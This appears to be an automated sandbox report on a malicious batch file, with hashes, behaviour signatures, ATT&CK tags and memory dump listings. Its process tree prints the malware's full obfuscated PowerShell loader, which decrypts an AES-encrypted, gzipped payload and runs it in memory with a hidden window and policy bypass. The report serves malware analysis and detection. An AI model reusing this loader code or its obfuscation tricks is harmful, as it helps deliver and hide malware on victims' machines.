e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27/01/2024, 18:54

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General

Target

2.bat
Size

272KB
MD5

b6c958bc875379f7eb6b3325146ea119
SHA1

7c39660981558777553f3a2413b5e6e581e0120d
SHA256

e5dac6f6d2ab4c479c5c3e91064f335de141c8399bd93f8267e13f134c578c0f
SHA512

097847cc7eb5d105b8164f343034ddf05c6e2d2507cceb662d5691084b55ab806e911e53ac883a43eb471d47bb18771f3ef0bb4b2c420b5ced4575adf0871fed
SSDEEP

6144:y9vq2ZtznY7vt0oUcnQyYdZuuyn4GWkSEiavfyNIOv023tri/3+4Cp:QvhZpY7vyVcnAewSigy+2o+4g

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1692	2.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2648	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1692	2.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	2.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 1692	2648	cmd.exe	29
PID 2648 wrote to memory of 1692	2648	cmd.exe	29
PID 2648 wrote to memory of 1692	2648	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Users\Admin\AppData\Local\Temp\2.bat.exe
  "2.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JPyoO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\2.bat').Split([Environment]::NewLine);foreach ($_CASH_ealtD in $_CASH_JPyoO) { if ($_CASH_ealtD.StartsWith(':: @')) { $_CASH_tFaoL = $_CASH_ealtD.Substring(4); break; }; };$_CASH_tFaoL = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tFaoL, '_CASH_', '');$_CASH_epUJg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tFaoL);$_CASH_pFavC = New-Object System.Security.Cryptography.AesManaged;$_CASH_pFavC.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_pFavC.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_pFavC.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GZ+NDDfWJdUL46CgERFNsma8kH1a1NyOqIvOPvKsrWA=');$_CASH_pFavC.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5IgM8xAuhLV8mV1KzrCEvg==');$_CASH_traoF = $_CASH_pFavC.CreateDecryptor();$_CASH_epUJg = $_CASH_traoF.TransformFinalBlock($_CASH_epUJg, 0, $_CASH_epUJg.Length);$_CASH_traoF.Dispose();$_CASH_pFavC.Dispose();$_CASH_SjOoQ = New-Object System.IO.MemoryStream(, $_CASH_epUJg);$_CASH_DLltN = New-Object System.IO.MemoryStream;$_CASH_VzeZp = New-Object System.IO.Compression.GZipStream($_CASH_SjOoQ, [IO.Compression.CompressionMode]::Decompress);$_CASH_VzeZp.CopyTo($_CASH_DLltN);$_CASH_VzeZp.Dispose();$_CASH_SjOoQ.Dispose();$_CASH_DLltN.Dispose();$_CASH_epUJg = $_CASH_DLltN.ToArray();$_CASH_JzGOp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_epUJg);$_CASH_PUHAS = $_CASH_JzGOp.EntryPoint;$_CASH_PUHAS.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\2.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1692-5-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/1692-7-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/1692-6-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/1692-8-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/1692-10-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/1692-9-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/1692-11-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/1692-12-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download